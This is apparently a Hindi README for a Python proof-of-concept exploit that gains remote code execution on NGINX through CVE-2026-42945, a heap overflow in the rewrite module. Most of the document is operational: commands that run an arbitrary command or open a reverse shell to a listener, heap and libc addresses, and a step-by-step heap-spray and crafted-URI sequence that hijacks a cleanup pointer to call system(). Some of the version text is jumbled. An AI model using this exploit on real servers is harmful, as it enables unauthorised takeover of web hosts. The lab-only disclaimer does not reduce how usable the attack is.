
Python RCE PoC reverse-shell listener सहित CVE-2026-42945 (NGINX Rift) के लिए
CVE-2026-42945 के लिए रिमोट कोड एक्जीक्यूशन प्रूफ-ऑफ-कॉन्सेप्ट, जो NGINX के ngx_http_rewrite_module में हीप बफर ओवरफ्लो है। यह फोर्क सार्वजनिक ट्रिगर PoC को एक एम्बेडेड रिवर्स-शेल लिसनर और CTF तथा पृथक लैब वातावरणों के लिए कॉन्फ़िगरेबल एक्सप्लॉइटेशन पैरामीटर्स के साथ विस्तारित करता है।
ngx_http_rewrite_module0.6.27 – 1.30.0; NGINX Plus R32 – R361.30.1 / ; NGINX Plus , , 1.31.0R36 P4R35 P2R32 P6is_args = 0 होता है, जबकि कॉपी पास मुख्य इंजन पर is_args = 1 के साथ चलता है, और ngx_escape_uri(..., NGX_ESCAPE_ARGS) को कॉल करता है। एस्केप करने योग्य बाइट्स प्रत्येक 3 बाइट्स में विस्तारित हो जाते हैं, जिससे आकार में कम हीप बफर हैकर-नियंत्रित URI डेटा से ओवरफ्लो हो जाता है।rewrite/set कॉन्फ़िगरेशन जो अनाम PCRE कैप्चर ($1, $2) और रिप्लेसमेंट स्ट्रिंग में ? का उपयोग करता है; अक्षम ASLR या ज्ञात हीप/libc बेस पते; POST बॉडी के माध्यम से हीप को स्प्रे करने की क्षमता।| फ़ाइल | विवरण |
|---|---|
cve_2026_42945_rce_poc.py | अंतर्निहित रिवर्स-शेल लिसनर और कमांड निष्पादन मोड के साथ Python एक्सप्लॉइट। |
python3 cve_2026_42945_rce_poc.py \
--host 10.0.0.5 \
--port 80 \
--cmd "id > /tmp/pwned"
python3 cve_2026_42945_rce_poc.py \
--host 10.0.0.5 \
--port 80 \
--shell \
--listen-ip 10.0.0.1 \
--listen-port 1337
python3 cve_2026_42945_rce_poc.py \
--host 10.0.0.5 \
--port 80 \
--shell \
--shell-type python \
--listen-ip 10.0.0.1 \
--listen-port 1337
python3 cve_2026_42945_rce_poc.py \
--host 10.0.0.5 \
--port 80 \
--shell \
--listen-ip 10.0.0.1 \
--listen-port 1337 \
--heap-base 0x555555659000 \
--libc-base 0x7ffff77ba000 \
--system-offset 0x50d70
ngx_pool_cleanup_s संरचना वाले बॉडी के साथ कई POST अनुरोध भेजें: system@libc | कमांड का पॉइंटर | null। ये बॉडी स्थिर हीप स्थानों पर कब्जा कर लेते हैं।rewrite एंडपॉइंट पर एक तैयार किया गया GET अनुरोध भेजें। URI पैटर्न है:
/api/<349 x 'A'><969 x '+'><6-बाइट हीप पता>
ngx_pool_t के cleanup पॉइंटर को दूषित कर देता है।cleanup पॉइंटर system(command) को इनवोक करता है, जो NGINX वर्कर प्रक्रिया के अंदर हैकर-नियंत्रित कमांड को निष्पादित करता है।--shell का उपयोग किया जाता है, तो कमांड एक रिवर्स-शेल पेलोड होता है और एम्बेडेड लिसनर आने वाले कनेक्शन को पकड़ लेता है।यह उपकरण इसके लिए अभिप्रेत है:
उन सिस्टमों पर उपयोग न करें जिनके आप मालिक नहीं हैं या जिनके परीक्षण की स्पष्ट अनुमति नहीं है।
अपने जोखिम पर उपयोग करें। लेखक अनधिकृत या अवैध उपयोग के लिए जिम्मेदार नहीं है।
मूल भेद्यता अनुसंधान और PoC depthfirstdisclosures (https://github.com/depthfirstdisclosures/nginx-rift) द्वारा। यह Python रिवर्स-शेल फोर्क रेड-टीम लैब / CTF उपयोग के लिए बनाया गया था।